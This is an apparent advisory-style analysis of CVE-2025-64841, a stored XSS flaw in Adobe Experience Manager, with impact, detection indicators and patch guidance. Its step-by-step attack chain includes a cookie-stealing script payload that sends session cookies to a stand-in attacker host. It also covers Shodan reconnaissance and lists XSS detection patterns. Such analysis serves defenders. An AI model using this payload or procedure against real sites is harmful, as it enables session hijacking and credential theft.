CVE-2025-64841: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64841 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include Adobe Experience Manager 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is persisted server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires network access, low privileges, and user interaction (a victim browsing the affected page), with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker's malicious JavaScript to execute in the context of a victim's browser session within AEM, potentially enabling session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact. Higher-privileged victims (e.g., AEM administrators) browsing affected pages could result in broader compromise of the AEM environment (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or use an existing low-privileged AEM user account (e.g., a contributor or author account).
3. Identify vulnerable form fields: Navigate to AEM authoring interfaces or forms that accept and persist user input without adequate output encoding.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse the page containing the injected payload, causing the malicious script to execute in their browser session.
6. Harvest results: Collect stolen session cookies, credentials, or perform unauthorized actions via the victim's authenticated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to authoring/form endpoints containing script tags or encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript content persisted in AEM JCR nodes or page content, particularly in fields not intended to store markup.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups originating from AEM author/publish environments.
• Process/Browser: Browser developer console errors or unexpected redirects when AEM authors or administrators visit specific content pages.

Adobe has released patches addressing CVE-2025-64841 as part of security bulletin APSB25-115, published December 9, 2025. Users should upgrade Adobe Experience Manager on-premises/LTS to version 6.5.24.0 or later, and AEM Cloud Service to the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed numerous vulnerabilities across AEM including critical-severity issues. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64841 has been identified beyond standard vulnerability database aggregation (Adobe Advisory).